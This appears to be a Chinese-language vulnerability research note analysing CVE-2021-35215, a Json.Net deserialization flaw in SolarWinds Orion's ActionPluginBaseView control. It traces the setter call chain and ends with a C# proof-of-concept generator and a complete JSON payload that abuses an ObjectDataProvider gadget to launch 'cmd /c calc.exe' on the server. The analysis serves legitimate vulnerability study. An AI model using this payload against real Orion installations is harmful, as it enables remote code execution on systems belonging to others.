https://exp10it.io/2024/02/solarwinds-orion-platform-actionpluginbaseview-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-cve-202135215/

https://xz.aliyun.com/t/10412?time__1311=mq%2BxBDyDcDuWKGNDQi4%2B0Ybwe7whDGIix

https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2

这里的话就直接用他们图里的照片了 就不搭建环境了 因为有点麻烦

(看这个漏洞的时候可以先看看之前的Json.Net和JavaScriptSerializer 有助于这个漏洞的理解)

image-20240415153336206

我们从这开始吧 注意这个control的获取和传参 注意这两点对于我们下面的理解帮助很大

image-20240415153654537

加载 control 对象后调用 ApplyPropertiesAndAttributes方法

获取 config 的内容, 然后传入 SetProperties

image-20240415153753112

这里就是关键了 这个SetProperty函数就会调用我们传入的obj(就是control的setter方法)

image-20240415153918334

仔细跟进这个setProperty方法的话 就会进入到这个SetValue方法中 然后就会在这个setMethod.Invoke调用

回到最初的地方仔细看 这个obj就是从我们传入的数据中获取的control类 所以这个类可控

image-20240415154307211

那么就刚好对应上了作者说的这个东西

找一个可以利用setter进行RCE或写文件的control类

image-20240415154817562

这个就是找到的一个可用的Control类 且setter方法可以进行利用

image-20240415154912028

其setter方法

image-20240415154932599

内部使用 Json.Net 的 JsonConvert.DeserializeObject 进行反序列化, 并且开启了 TypeNameHandling

并且他他要求的反序列化对象还得是AlertingActionContext

这个对象就是ActionPluginBaseView这个control类的属性 可以控制 我们看看有没有object属性的参数可以利用

因为反序列化成对象的时候 就会触发我们object属性的恶意代码 其他属性不行

image-20240415155212969

反正就是一直往下找 找到了这个属性 是字典的 并且存着object对象

image-20240415155346060

这就解释完了

image-20240415155414352

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;
using System;
using System.Collections.Generic;
using System.Web.Script.Serialization;

namespace SolarWindsDemo
{
internal class Program
{
static void Main(string[] args)
{
PropertyBag propertyBag = new PropertyBag();
propertyBag.Add("test", "<ObjectDataProvider-payload>");

SwisEntityContext swisEntityContext = new SwisEntityContext();
swisEntityContext.EntityProperties = propertyBag;

MacroContext macroContext = new MacroContext();
macroContext.Add(swisEntityContext);

AlertingActionContext alertingActionContext = new AlertingActionContext();
alertingActionContext.MacroContext = macroContext;

JsonSerializerSettings settings = new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.Objects,
};

string viewContextJsonString = JsonConvert.SerializeObject(alertingActionContext, settings);
Console.WriteLine(viewContextJsonString);

Dictionary<string, object> props = new Dictionary<string, object>();
props.Add("EnviromentType", "Alerting");
props.Add("ViewContextJsonString", "viewContextJsonString");

Dictionary<string, object> dict = new Dictionary<string, object>();
dict.Add("Control", "SolarWinds.Orion.Web.Actions.ActionPluginBaseView");
dict.Add("config", props);

JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
string data = javaScriptSerializer.Serialize(dict);

Console.WriteLine(data);
}
}
}

payload

1
2
3
4
5
6
7
{
"Control": "~/Orion/Actions/Controls/CustomPropertyView.ascx",
"config": {
"EnviromentType": "Alerting",
"ViewContextJsonString": "{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",\"ExecutionMode\":0,\"EnviromentType\":0,\"EntityType\":null,\"EntityUri\":null,\"EntityUris\":null,\"IsGlobalAlert\":false,\"AlertContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",\"AlertName\":null,\"CreatedBy\":null},\"AlertActiveId\":null,\"AlertObjectId\":null,\"NetObjectData\":null,\"ObjectDataExists\":false,\"MacroContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",\"contexts\":[{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",\"DisplayName\":\"Net object properties\",\"EntityType\":null,\"EntityUri\":null,\"EntityProperties\":{\"$type\":\"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",\"test\":{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\"MethodName\":\"Start\",\"MethodParameters\":{\"$type\":\"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\"$values\":[\"cmd\",\"/c calc.exe\"]},\"ObjectInstance\":{\"$type\":\"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}}}}]}}"
}
}

很有意思的一个洞

SolarWinds Patch Manager WSAsyncExecuteTasks 反序列化 (CVE-2021–35217)

https://exp10it.io/2024/02/solarwinds-patch-manager-wsasyncexecutetasks-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-cve-202135217/

这个CVE其实也差不多